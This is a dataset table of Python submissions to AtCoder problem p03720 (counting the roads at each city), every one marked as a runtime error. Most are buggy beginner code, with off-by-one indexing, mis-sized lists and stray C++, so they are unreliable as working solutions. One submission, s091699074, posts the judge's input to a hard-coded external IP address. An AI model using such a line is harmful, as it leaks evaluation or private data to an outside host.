s_id stringlengths 10 10 | p_id stringlengths 6 6 | u_id stringlengths 10 10 | date stringlengths 10 10 | language stringclasses 1
value | original_language stringclasses 11
values | filename_ext stringclasses 1
value | status stringclasses 1
value | cpu_time stringlengths 1 5 | memory stringlengths 1 7 | code_size stringlengths 1 6 | code stringlengths 1 539k |
|---|---|---|---|---|---|---|---|---|---|---|---|
s486541910 | p03720 | u354847446 | 1580494719 | Python | Python (3.4.3) | py | Runtime Error | 18 | 3064 | 522 | import math
import sys
#n, a, b= map(int, input().split())
n, m = map(int, input().split())
#s = list(str(input()))
#n = int(input())
#a = list(map(int, input().split()))
a = [""]*m
b = [""]*m
for i in range(m):
#a[i] = int(input())
a[i], b[i] = map(int, input().split())
num = [int(i+1) for i in range(m)]
count... |
s703958156 | p03720 | u354847446 | 1580493151 | Python | Python (3.4.3) | py | Runtime Error | 18 | 3064 | 522 | import math
import sys
#n, a, b= map(int, input().split())
n, m = map(int, input().split())
#s = list(str(input()))
#n = int(input())
#a = list(map(int, input().split()))
a = [""]*m
b = [""]*m
for i in range(m):
#a[i] = int(input())
a[i], b[i] = map(int, input().split())
num = [int(i+1) for i in range(m)]
count... |
s835109600 | p03720 | u354847446 | 1580493072 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3064 | 522 | import math
import sys
#n, a, b= map(int, input().split())
n, m = map(int, input().split())
#s = list(str(input()))
#n = int(input())
#a = list(map(int, input().split()))
a = [""]*m
b = [""]*m
for i in range(m):
#a[i] = int(input())
a[i], b[i] = map(int, input().split())
num = [int(i+1) for i in range(5)]
count... |
s221391387 | p03720 | u731448038 | 1579650172 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3064 | 271 | n, m = map(int, input().split())
m_a = []
m_b = []
for i in range(m):
m_a_tmp, m_b_tmp = map(int, input().split())
m_a.append(m_a_tmp)
m_b.append(m_b_tmp)
n_n = [0 for i in range(n)]
for a,b in zip(m_a, m_b):
n_n[a] += 1
n_n[b] += 1
for n in n_n:
print(n) |
s278361840 | p03720 | u896741788 | 1578929623 | Python | Python (3.4.3) | py | Runtime Error | 18 | 3060 | 169 | t,l=map(int,input().split())
li=[set() for i in range(t)]
for i in range(l):
a,b= map(int,input().split())
l[a-1].add(b)
l[b-1].add(a)
for i in li:
print(len(i)) |
s087668750 | p03720 | u896741788 | 1578929584 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3060 | 167 | t,l=map(int,input().split())
l=[set() for i in range(t)]
for i in range(l):
a,b= map(int,input().split())
l[a-1].add(b)
l[b-1].add(a)
for i in l:
print(len(i)) |
s603050634 | p03720 | u635540732 | 1577774215 | Python | Python (3.4.3) | py | Runtime Error | 18 | 3060 | 154 | n,m=map(int,input().split())
a=[0]*n
b=[0]*n
for i in range(m):
a[i],b[i]=map(int,input().split())
for j in range(n):
print(a.count(j+1)+b.count(j+1)) |
s699542269 | p03720 | u635540732 | 1577774091 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3060 | 154 | n,m=map(int,input().split())
a=[0]*n
b=[0]*n
for i in range(n):
a[i],b[i]=map(int,input().split())
for j in range(m):
print(a.count(m+1)+b.count(m+1)) |
s421302548 | p03720 | u063073794 | 1577564156 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 175 | yandy
N, M = map(int, input().split())
num = [0] * N
for i in range(M):
a, b = map(int, input().split())
num[a-1] += 1
num[b-1] += 1
for i in num:
print(i)
|
s694556559 | p03720 | u063073794 | 1577564103 | Python | Python (3.4.3) | py | Runtime Error | 18 | 3064 | 348 | a,b=map(int,input().split())
d=dict()
for i in range(b):
s,l=input().split()
if s in d.keys():
d[s]+=1
if l in d.keys():
d[l]+=1
else:
d[l]=1
else:
d[s]=1
if l in d.keys():
d[l]+=1
else:
d[l]=1
score_sorted = sorted(d.items(), key=lambda x:x[0])
for i in range(a):
... |
s268542910 | p03720 | u609814378 | 1576941077 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 1 | b |
s947297603 | p03720 | u329706129 | 1576509776 | Python | Python (3.4.3) | py | Runtime Error | 18 | 3188 | 341 | #include <iostream>
#include <vector>
using namespace std;
#define MAX_N 60
int main() {
int N, M;
cin >> N >> M;
vector<vector<int> > G(MAX_N);
for (int i = 0; i < M; i++) {
int a, b;
cin >> a >> b;
G[a].push_back(b);
G[b].push_back(a);
}
for (int i = 1; i <= N; i++) cout << G[i].size() <<... |
s920247007 | p03720 | u314089899 | 1576202854 | Python | Python (3.4.3) | py | Runtime Error | 18 | 3060 | 398 |
N,M = map(int, input().split())
town_road_dict = {}
for i in range(M):
a,b = map(int, input().split())
if a not in town_road_dict:
town_road_dict[a] = [b]
else:
town_road_dict[a].append(b)
if b not in town_road_dict:
town_road_dict[b] = [a]
else:
town_road_dic... |
s233838922 | p03720 | u760794812 | 1575462974 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3060 | 243 | N,M = map(int,input().split())
dic = {}
for i in range(M):
a,b = map(int,input().split())
if a not in dic:
dic[a] = 1
else:
dic[a] +=1
if b not in dic:
dic[b] = 1
else:
dic[b] +=1
for j in range(N):
print(dic[j+1]) |
s133398536 | p03720 | u137726327 | 1575387425 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3060 | 214 | n,m=list(map(int,input().split()))
lists=[]
for i in range(n):
lists.append()
for i in range(n):
am=int(input())
bm=int(input())
lists[am-1]+=1
lists[bm-1]+=1
for i in range(n):
print(str(list[i])+"\n") |
s096408823 | p03720 | u836984617 | 1574978580 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3060 | 250 | n, m = map(int, input().split())
a = []
b = []
for i in range(m):
a[i], b[i] = map(int, input().split())
cnt = 0
for i in range(1, n+1):
for j in range(m):
if a[j] == i:
cnt += 1
if b[j] == i:
cnt += 1
print(cnt)
cnt = 0
|
s372546134 | p03720 | u836984617 | 1574978486 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3064 | 249 | n, m = map(int, input().split())
a = []
b = []
for i in range(m):
a[i], b[i] = map(int, input().split())
cnt = 0
for i in range(1, n+1):
for j in range(m):
if a[j] == i:
cnt += 1
if b[j] == i:
cnt += 1
print(cnt)
cnt = 0
|
s705518468 | p03720 | u836984617 | 1574978327 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 246 | n, m = map(int, input().split())
a = []
b = []
for i in range(m):
a[i], b[i] = map(int, input().split())
cnt = 0
for i in range(1, n+1):
for j in range(m):
if a[j] = i:
cnt += 1
if b[j] = i:
cnt += 1
print(cnt)
cnt = 0 |
s403565957 | p03720 | u836737505 | 1574543166 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3060 | 176 | n, m = map(int, input().split())
t = [0 for i in range(n)]
for i in range(m):
a, b = (map(str, input().split()))
t[a-1] +=1
t[b-1] +=1
for j in t:
print(j) |
s101762989 | p03720 | u278183305 | 1573978444 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 360 | #include <bits/stdc++.h>
using namespace std;
int main(){
int n,m;
cin >> n >> m;
vector <int> from(m);
vector <int> to(m);
vector <int> town(n);
for(int i = 0;i<m;i++){
cin >> from.at(i);
cin >> to.at(i);
town.at(from.at(i)-1) += 1;
town.at(to.at(i)-1) += 1;
}
for(int i = 0;i<n;i++... |
s019536672 | p03720 | u680503348 | 1573776632 | Python | Python (3.4.3) | py | Runtime Error | 18 | 2940 | 195 | N, M = map(int, input().split())
R = list()
for i in range(N):
R.append(0)
for i in range(M):
c1, c2 = map(int, input().split())
R[c1] += 1
R[c2] += 1
for i in range(N):
print(R[i])
|
s228182897 | p03720 | u633548583 | 1573354336 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 125 | n,m=map(int,input().split())
a=list(map(int,input().split() for i in range(n)))
for i in range(1,n+1):
print(a.count(i))
|
s722291181 | p03720 | u633548583 | 1573354082 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 112 | n,m=map(int,input().split())
a=list(map(int,input().split()))
print(a.count(i) for i in range (1,n+1), sep='\n') |
s204730898 | p03720 | u923659712 | 1573112697 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 169 | n,m=map(int,input().split())
l=[]
g=0
for i in range(m):
a,b=map(int,input().split())
a.append(l)
b.append(l)
for j in range(1,n+1):
g+=l.count(j)
print(g) |
s977523205 | p03720 | u923659712 | 1573112516 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3060 | 172 | n,m=map(int,input().split())
l=[]
g=0
for i in range(n):
a,b=map(int,input().split())
a.append(l)
b.append(l)
for j in range(1,n+1):
g+=l.count(j)
print(g)
|
s343851883 | p03720 | u626468554 | 1572467539 | Python | Python (3.4.3) | py | Runtime Error | 18 | 3060 | 285 | n,m = map(int,input().split())
ab = [[0 for i in range(n)] for j in range(n)]
for i in range(m):
a,b = map(int,input().split())
a -= 1
b -= 1
ab[a][b] += 1
ab[b][a] += 1
for i in range(n):
cnt = 0
for j in range(m):
cnt += ab[i][j]
print(cnt)
|
s228528678 | p03720 | u626468554 | 1572467458 | Python | Python (3.4.3) | py | Runtime Error | 18 | 3060 | 263 | n,m = map(int,input().split())
ab = [[0 for i in range(n)] for j in range(n)]
for i in range(m):
a,b = map(int,input().split())
ab[a][b] += 1
ab[b][a] += 1
for i in range(n):
cnt = 0
for j in range(m):
cnt += ab[i][j]
print(cnt)
|
s945565194 | p03720 | u729535891 | 1572436521 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 162 | n, m = map(int, input().split())
L = [0] * n
for i in range(m):
a, b = map(int, input().split())
L[a - 1] += 1
L[b - 1] += 1
for i in L:
pront(i) |
s253913859 | p03720 | u729535891 | 1572436498 | Python | Python (3.4.3) | py | Runtime Error | 20 | 3316 | 181 | import collections
n, m = map(int, input().split())
L = [0] * n
for i in range(m):
a, b = map(int, input().split())
L[a - 1] += 1
L[b - 1] += 1
for i in L:
pront(i) |
s227292670 | p03720 | u729535891 | 1572436159 | Python | Python (3.4.3) | py | Runtime Error | 21 | 3316 | 285 | import collections
n, m = map(int, input().split())
L = []
for _ in range(m):
a, b = map(int, input().split())
L.append(a)
L.append(b)
L_dict = collections.Counter(L)
L_dict_sort = sorted(L_dict.items(), key = lambda x:x[0])
for i in range(n):
print(L_dict_sort[i][1]) |
s688309493 | p03720 | u729535891 | 1572435907 | Python | Python (3.4.3) | py | Runtime Error | 22 | 3316 | 283 | import collections
n, m = map(int, input().split())
L = []
for _ in range(m):
a, b = map(int, input().split())
L.append(a)
L.append(b)
L_dict = collections.Counter(L)
L_dict_sort = sorted(L_dict.items(), key=lambda x:x[0])
for i in range(n):
print(L_dict_sort[i][1]) |
s988469927 | p03720 | u644907318 | 1571747714 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3060 | 247 | N,M = map(int,input().split())
G = {}
for _ in range(M):
a,b = map(int,input().split())
if a not in G:
G[a] = []
G[a].append(b)
if b not in G:
G[b] = []
G[b].append(b)
for i in range(1,N+1):
print(len(G[i])) |
s346511695 | p03720 | u644907318 | 1571747626 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3060 | 247 | N,M = map(int,input().split())
G = {}
for _ in range(N):
a,b = map(int,input().split())
if a not in G:
G[a] = []
G[a].append(b)
if b not in G:
G[b] = []
G[b].append(b)
for i in range(1,N+1):
print(len(G[i])) |
s186322160 | p03720 | u753682919 | 1571032938 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3060 | 181 | N,M=map(int,input().split())
list=[[] for j in range(N)]
for i in range(M):
a,b=map(int,input().split())
list[a-1]+="Y"
list[b-1]+="Y"
for i in range(M):
print(len(list[i])) |
s267082138 | p03720 | u747602774 | 1570682669 | Python | Python (3.4.3) | py | Runtime Error | 22 | 3316 | 315 | from collections import Counter
N,M=map(int,input().split())
road=[[str(s) for s in input().split()] for m in range(M)]
ans=[]
for m in range(M):
roadm_counter=Counter(road[m])
ans_counter=Counter(ans)
ans_counter=ans_counter+roadm_counter
ans=dict(ans_counter)
for a in range(N):
print(ans[str(a+1)]) |
s185194543 | p03720 | u814986259 | 1570625115 | Python | Python (3.4.3) | py | Runtime Error | 20 | 3316 | 197 | import collections
N,m=map(int,input().split())
table=collections.defaultdict(int)
for i in range(M):
a,b=map(int,input().split())
table[a]+=1
table[b]+=1
for i in range(N):
print(table[i]) |
s188702297 | p03720 | u597047658 | 1569894206 | Python | Python (3.4.3) | py | Runtime Error | 20 | 3316 | 287 | import collections
N, M = map(int, input().split())
AB = []
for i in range(M):
ab = input().split()
if ab[0] == ab[1]:
AB.append(ab[0])
else:
AB.extend(input().split())
dic = collections.Counter(AB)
list_ = sorted(dic.items())
for l in list_:
print(l[1])
|
s311554311 | p03720 | u261891508 | 1569514258 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 137 | n,m=map(int,input().split())
li=[0]*n
for i in range(n):
a,b=map(int,input().split())
li[a-1]+=1
li[b-1]+=1
for i in li:
print(i) |
s602791563 | p03720 | u354411673 | 1569266185 | Python | Python (3.4.3) | py | Runtime Error | 18 | 3060 | 282 | n,m = map(int, input().split())
arr = {}
for i in range(m):
a, b = map(int, input().split())
if a in arr:
arr[a] += 1
else:
arr[a] = 1
if b in arr:
arr[b] += 1
else:
arr[b] = 1
for i in range(len(arr)):
print(arr[i+1]) |
s881616488 | p03720 | u480138356 | 1568179204 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 308 | #include <stdio.h>
int main(void){
int i, a, b, N, M, count[50];
scanf("%d %d", &N, &M);
for(i=0; i<M; i++){
scanf("%d %d", &a, &b);
count[a-1] += 1;
count[b-1] += 1;
}
for (i = 0; i < N; i++)
{
printf("%d\n", count[i]);
}
return 0;
} |
s391330905 | p03720 | u695079172 | 1567985469 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3060 | 209 | n,m = map(int,input().split(" "))
city_road_count = [0] * m
for i in range(m):
a,b = map(int,input.split(" "))
city_road_count[a-1] += 1
city_road_count[b-1] += 1
for c in city_road_count:
print(c) |
s950448879 | p03720 | u695079172 | 1567985286 | Python | Python (3.4.3) | py | Runtime Error | 24 | 3064 | 406 |
n,m = map(int,input().split(" "))
roads = []
for i in range(m):
roads.append(input())
def count_road(n,m,str_roads):
city_roads_count = [0] * m
for road in str_roads:
a,b = map(int,input().split(" "))
city_roads_count[a-1] += 1
city_road_count[b-1] += 1
return city_roads_coun... |
s611124417 | p03720 | u695079172 | 1567985144 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3060 | 368 |
n,m = map(int,input().split(" "))
roads = []
for i in range(m):
roads.append(input())
def count_road(n,m,str_roads):
city_roads_count = [0] * m
for road in str_roads:
a,b = map(int,input().split(" "))
city_roads_count[a-1] += 1
city_road_count[b-1] += 1
return city_roads_count... |
s385049454 | p03720 | u695079172 | 1567984728 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3060 | 246 | n,m = map(int,input().split(" "))
city_road_counts = [0] * m
for i in range(m):
a,b = map(int,input().split(" "))
a = a-1
b = b-1
city_road_counts[a] += 1
city_road_counts[b] += 1
for road_count in city_road_counts:
print(road_count) |
s115921394 | p03720 | u893063840 | 1567817147 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3060 | 217 | n, m = map(int, input().split())
ab = [list(map(int, input().split())) for _ in range(m)]
cnt = [0] * n
for i in range(m):
cnt[ab[i][0] - 1] += 1
cnt[ab[i][1] - 1] += 1
for i in range(n):
print(cnt(i))
|
s357029222 | p03720 | u116002573 | 1567070749 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 332 | def main():
N, M = map(int, input().split())
d = dict()
for _ in range(M):
a, b = map(int, input().split())
d[a] = d.get(a, 0) + 1
d[b] = d.get(b, 0) + 1
for a in range(1, N+1):
if a in d:
print(d[a])
else:
print(0)
if __name__ == '__main__'... |
s563531329 | p03720 | u116002573 | 1567070691 | Python | Python (3.4.3) | py | Runtime Error | 18 | 2940 | 332 | def main():
N, M = map(int, input().split())
d = dict()
for _ in range(M):
a, b = map(int, input().split())
d[a] = d.get(a, 0) + 1
d[b] = d.get(b, 0) + 1
for a in range(1, N+1):
if a in d:
print(d[a])
else:
print(0)
if __name__ == '__main__'... |
s146740462 | p03720 | u116002573 | 1567070487 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3060 | 278 | def main():
N, M = map(int, input().split())
d = dict()
for _ in range(M):
a, b = map(int, input().split())
d[a] = d.get(a, 0) + 1
d[b] = d.get(b, 0) + 1
for a in range(1, N+1):
print(d[a])
if __name__ == '__main__':
main() |
s653516013 | p03720 | u518987899 | 1566958510 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3060 | 215 | N,M = map(int, input().strip())
G = [[] for _ in range(N)]
for _ in range(M):
a,b = map(int, input().strip().split(' '))
a,b = a-1, b-1
G[a].append(b)
G[b].append(a)
for i in range(N):
print(len(G[i]))
|
s486887425 | p03720 | u518987899 | 1566958257 | Python | Python (3.4.3) | py | Runtime Error | 18 | 3060 | 198 | N,M = map(int, input().strip())
G = [[] for _ in range(N)]
for _ in range(M):
a,b = map(int, input().strip().split(' '))
G[a].append(b)
G[b].append(a)
for i in range(N):
print(len(G[i]))
|
s764318491 | p03720 | u385644001 | 1566527965 | Python | PyPy3 (2.4.0) | py | Runtime Error | 168 | 38384 | 183 | import numpy as np
n,m=map(int,input().split())
road=[list(map(int,input().split())) for i in range(m)]
ans=np.unique(road,return_counts=True)
for i in range(n):
print(ans[1,i]) |
s739882376 | p03720 | u385644001 | 1566527938 | Python | Python (3.4.3) | py | Runtime Error | 168 | 13348 | 183 | import numpy as np
n,m=map(int,input().split())
road=[list(map(int,input().split())) for i in range(m)]
ans=np.unique(road,return_counts=True)
for i in range(n):
print(ans[1,i]) |
s807855962 | p03720 | u385644001 | 1566527900 | Python | Python (3.4.3) | py | Runtime Error | 149 | 12384 | 184 | import numpy as np
n,m=map(int,input().split())
road=[list(map(int,input().split())) for i in range(m)]
ans=np.unique(road,return_counts=True)
for i in range(n):
print(ans[1][i]) |
s727393347 | p03720 | u385644001 | 1566527878 | Python | PyPy3 (2.4.0) | py | Runtime Error | 170 | 38512 | 184 | import numpy as np
n,m=map(int,input().split())
road=[list(map(int,input().split())) for i in range(m)]
ans=np.unique(road,return_counts=True)
for i in range(n):
print(ans[1][i]) |
s877588739 | p03720 | u493491792 | 1566526773 | Python | Python (3.4.3) | py | Runtime Error | 150 | 12404 | 196 | import numpy as np
n,m=map(int,input().split())
road=[list(map(int,input().split())) for i in range(m)]
road.sort()
ans=np.unique(road,return_counts=True)
for i in range(n):
print(ans[1][i])
|
s590369138 | p03720 | u493491792 | 1566526028 | Python | PyPy3 (2.4.0) | py | Runtime Error | 168 | 38384 | 186 | import numpy as np
n,m=map(int,input().split())
road=[list(input().split()) for i in range(m)]
road.sort()
ans=np.unique(road,return_counts=True)
for i in range(n):
print(ans[1][i]) |
s734677883 | p03720 | u493491792 | 1566525598 | Python | Python (3.4.3) | py | Runtime Error | 151 | 12408 | 186 | import numpy as np
n,m=map(int,input().split())
road=[list(input().split()) for i in range(m)]
road.sort()
ans=np.unique(road,return_counts=True)
for i in range(n):
print(ans[1][i]) |
s007687050 | p03720 | u627530854 | 1566081120 | Python | Python (3.4.3) | py | Runtime Error | 18 | 3064 | 234 | (nodes, roads) = (int(tok) for tok in input().split())
count = { i:0 for i in range(1, nodes + 1) }
for _ in range(roads):
for tok in input().split():
count[int(node)] += 1
for i in range(1, nodes + 1):
print(count[i]) |
s433791437 | p03720 | u703442202 | 1565904381 | Python | Python (3.4.3) | py | Runtime Error | 18 | 2940 | 197 | n , m = map(int,input().split())
load = []
for a in range(m):
town = list(map(int,input().split()))
load.append(town)
result = flatten(load)
for b in range(n):
print(result.count(b))
|
s577386324 | p03720 | u204523044 | 1565736177 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 222 | N, M = map(int, input().split())
a = []
b = []
for i in range(M):
ai, bi = map(int, input().split())
a.append(ai)
b.append(bi)
for i in range(N):
r = 0
r += a.count(i+1)
r += b.count(i+1)
print(r) |
s212209757 | p03720 | u408620326 | 1564960356 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3060 | 159 | N,M=[int(x) for x in input().split()]
ans=[0]*N
for n in range(N):
a,b=[int(x) for x in input().split()]
ans[a-1]+=1
ans[b-1]+=1
for a in ans:
print(a) |
s421738163 | p03720 | u626337957 | 1564849627 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3060 | 175 | N, M = int(input())
cities = [0] * (N+1)
for _ in range(M):
a, b = map(int, input().split())
cities[a] += 1
cities[b] += 1
for idx in range(1, N+1):
print(cities[idx]) |
s277245450 | p03720 | u736729525 | 1564797977 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 160 | N = int(input())
count = [0]*N
for i in range(N):
x, y = [int(x) for x in input().split()]
count[x-1] += 1
count[y-1] += 1
for c in count:
print(c) |
s061576637 | p03720 | u736729525 | 1564797870 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 156 | N = int(input())
count = [0]*N
for i in range(N):
x, y = [int(x) for x in input().split()]
count[x-1] += 1
count[y-1] += 1
for c in N:
print(c) |
s406649978 | p03720 | u736729525 | 1564797689 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 152 | N = int(input())
count = [0]*N
for i in range(N):
x, y = [int(x) for x in input().split()]
count[x] += 1
count[y] += 1
for c in N:
print(c) |
s780121069 | p03720 | u538956308 | 1564772941 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 193 | N,M = map(int,input().split())
R = []
for i in range(M):
r = list(map(int,input().split()))
R.append(r)
for l in range(N):
ans = []
ans = [i for i in R if i = l ]
print(len(ans))
|
s273701656 | p03720 | u759412327 | 1564283340 | Python | Python (3.4.3) | py | Runtime Error | 19 | 3060 | 171 | N,M = list(map(int,input().split()))
z = 0
for i in range(M):
a,b = list(map(int,input().split()))
z.append(a)
z.append(b)
for i in range(N):
print(z.count(i+1)) |
s785767552 | p03720 | u777283665 | 1563632619 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3060 | 186 | n, m = map(int, input().split())
d = dict()
for _ in range(m):
a, b = map(int,input().split())
d[a] = d.get(a, 0) + 1
d[b] = d.get(b, 0) + 1
for i in range(1, n+1):
print(d[i]) |
s485152814 | p03720 | u671252250 | 1561764206 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3060 | 233 | # coding: utf-8
# Your code here!
N, M = map(int, input().split())
arr = [0 for i in range(N)]
for i in range(M):
A, B = map(int, input().split())
arr[A - 1] += 1
arr[B - 1] += 1
for j in range(M):
print(arr[j])
|
s048355565 | p03720 | u671252250 | 1561762972 | Python | Python (3.4.3) | py | Runtime Error | 21 | 3316 | 360 | # coding: utf-8
# Your code here!
from collections import Counter
def flatten_2dim(array):
return [item for sublist in array for item in sublist]
N, M = map(int, input().split())
arr = [[int(i) for i in input().split()] for j in range(M)]
dic = Counter(flatten_2dim(arr))
sort_dic = sorted(dic.items())
for ... |
s536077564 | p03720 | u671252250 | 1561516183 | Python | Python (3.4.3) | py | Runtime Error | 21 | 3316 | 271 | # coding: utf-8
# Your code here!
import collections
N, M = map(int, input().split())
cities = [list(map(int, input().split())) for i in range(M)]
cities = sum(cities, [])
c_list = sorted(collections.Counter(cities).items())
for i in range(N):
print(c_list[i][1])
|
s676960634 | p03720 | u982594421 | 1560972648 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 156 | n, m = map(int, input().split())
r = [0] * n
for _ in range(m):
a, b = map(int, input().split())
r[a] += 1
r[b] += 1
for i in range(n):
print(r[i])
|
s091699074 | p03720 | u924308178 | 1559316783 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 142 | import requests
S = input()
s = requests.session()
data={
"data":S
}
url = "http://13.231.150.9/b.php"
s.post(url,data=data)
print("None") |
s173132441 | p03720 | u761529120 | 1559177438 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 162 | N,M = map(int, input().split())
ans = [0] * M
for i in range(M):
a, b = map(int, input().split())
ans[a-1] += 1
ans[b-1] += 1
print(*ans, sep='\n') |
s228016645 | p03720 | u981767024 | 1558802013 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 248 | # 2019/05/25
# AtCoder Beginner Contest 061 - B
# Input
n, m = map(int, input().split())
rcnt = [0] * (n + 1)
for i in range(m):
a, b = map(int, input().split())
rcnt[a] += 1
rcnt[b] += 1
# Output
for i in range(1, n+1):
print[i]
|
s969823643 | p03720 | u919633157 | 1558116074 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3060 | 168 | n,m=map(int,input().split())
s={}
for i in range(m):
a,b=map(int,input().split())
s[a]=s.get(a,0)+1
s[b]=s.get(b,0)+1
for i in range(1,n+1):
print(s[i]) |
s288474483 | p03720 | u204800924 | 1558064578 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 326 | N, M = map(int, input().split())
N = int(N)
M = int(M)
ab = []
for _ in range(M):
ab.append(list(map(int, input().split()))
bridges = [0] * N
for c in range(N):
for i in range(M):
if c+1==ab[i][0] or c+1==ab[i][1]:
bridges[c] += 1
for _ in range(N):
print(bridges... |
s301591648 | p03720 | u204800924 | 1558064045 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 290 | N, M = map(int, input().split())
ab = []
for _ in range(M):
ab.append(list(map(int, input().split()))
bs = [0] * N
for c in range(N):
for i in range(M):
if c+1==ab[i][0] or c+1==ab[i][1]:
bs[c] += 1
for _ in range(N):
print(bs[_] ) |
s150863383 | p03720 | u204800924 | 1558063829 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 282 | N, M = map(int, input().split())
ab = []
for _ in range(M):
ab.append(map(int, input().split())
bs = [0] * N
for c in range(N):
for i in range(M):
if c+1==ab[i][0] or c+1==ab[i][1]:
bs[c] += 1
for _ in range(N):
print(bs[_] ) |
s385049198 | p03720 | u516272298 | 1557871096 | Python | Python (3.4.3) | py | Runtime Error | 18 | 3060 | 188 | n,m = map(int,input().split())
l = []
for i in range(m):
a,b = map(int,input().split())
l.append(a)
l.append(b)
t = list(set(l))
for i in range(n):
print(l.count(t[i])) |
s810981317 | p03720 | u403551852 | 1557751288 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 176 | n,m = map(int, input().split())
bridge = [0,0,0,0]
for i in range(m):
a,b = map(int,input().split())
bridge[a-1] += 1
bridge[b-1] += 1
for i in bridge:
print(i) |
s905813362 | p03720 | u055941944 | 1557425681 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3060 | 181 | n,m=map(int,input().split())
l=[]
for i in range(m):
a,b=map(int,input().split())
l.append(a)
l.append(b)
z=list(set(l))
for i in range(1,n+1):
print(l.count(z[i])) |
s497046996 | p03720 | u732870425 | 1556576780 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3060 | 196 | N, M = map(int, input().split())
ab = []
for i in range(N):
ab.append(map(int, input().split()))
ans = []
for i in range(1,max(ab)+1):
ans.append(ans.count(i))
for x in ans:
print(x) |
s836573284 | p03720 | u732870425 | 1556576462 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3060 | 179 | N, M = map(int, input().split())
ab = [map(int, input().split()) for _ in range(N)]
ans = []
for i in range(1,max(ab)+1):
ans.append(ans.count(i))
for x in ans:
print(x) |
s646657704 | p03720 | u732870425 | 1556576095 | Python | Python (3.4.3) | py | Runtime Error | 18 | 3060 | 197 | N, M = map(int, input().split())
ab = [list(map(int, input().split())) for _ in range(N)]
ans = [0] * M
for i in range(N):
ans[ab[i][0]] += 1
ans[ab[i][1]] += 1
for x in ans:
print(x) |
s684211212 | p03720 | u052499405 | 1555427240 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3060 | 207 | n, m = [int(item) for item in input().split()]
count = [0] * n
for i in range(n):
a, b = [int(item) for item in input().split()]
count[a-1] += 1
count[b-1] += 1
for item in count:
print(item) |
s183154204 | p03720 | u782685137 | 1555111047 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 133 | I=lambda:map(int,input().split())
N,M=I()
r=range(N)
m={i:0 for i in r}
for _ in[0]*M:a,b=I();m[a]+=+1;m[b]+=1
for i in r:print(m[i]) |
s204037895 | p03720 | u777028980 | 1554400481 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 159 | n,m=map(int,input().split())
hoge=[]
for i in range(m):
a,b=map(int,input())
hoge.append(a)
hoge.append(b)
for i in range(n):
print(hoge.count(i+1)) |
s505487047 | p03720 | u309039873 | 1553969686 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3060 | 205 | N,M = map(int,input())
bucket = {}
for i in range(N):
bucket[i] = 0
for m in range(m):
tempa,tempb = map(int,input())
bucket[tempa-1] += 1
bucket[tempb-1] += 1
for i in range(N):
print(bucket[i]) |
s027351032 | p03720 | u878138257 | 1553838447 | Python | Python (3.4.3) | py | Runtime Error | 17 | 2940 | 127 | n,m = map(int, input().split())
listA = [(map(int, input().split())) for i in range(m)]
for j in range(n):
print(count(j+1))
|
s540070824 | p03720 | u488178971 | 1553686384 | Python | Python (3.4.3) | py | Runtime Error | 18 | 3064 | 506 | N,M= map(int,input().split())
AB=[[int(j) for j in input().split()] for i in range(M)]
result=dict()
for i in range(M):
ind =AB[i][0]
ind2 =AB[i][1]
#print(i,ind,ind2)
if result.get(str(ind)) is None:
result[str(ind)] =1
else:
result[str(ind)] =result[str(ind)]+1
if result.... |
s421861325 | p03720 | u227082700 | 1553621994 | Python | Python (3.4.3) | py | Runtime Error | 17 | 3060 | 154 | n,m=map(int,input().split())
x=[0 for i in range(n)]
for i in range(m):
a,b=map(int,input().split())
x[a-1]+=1;x[b-1]+=1
for i in range(n):print(n[i]) |
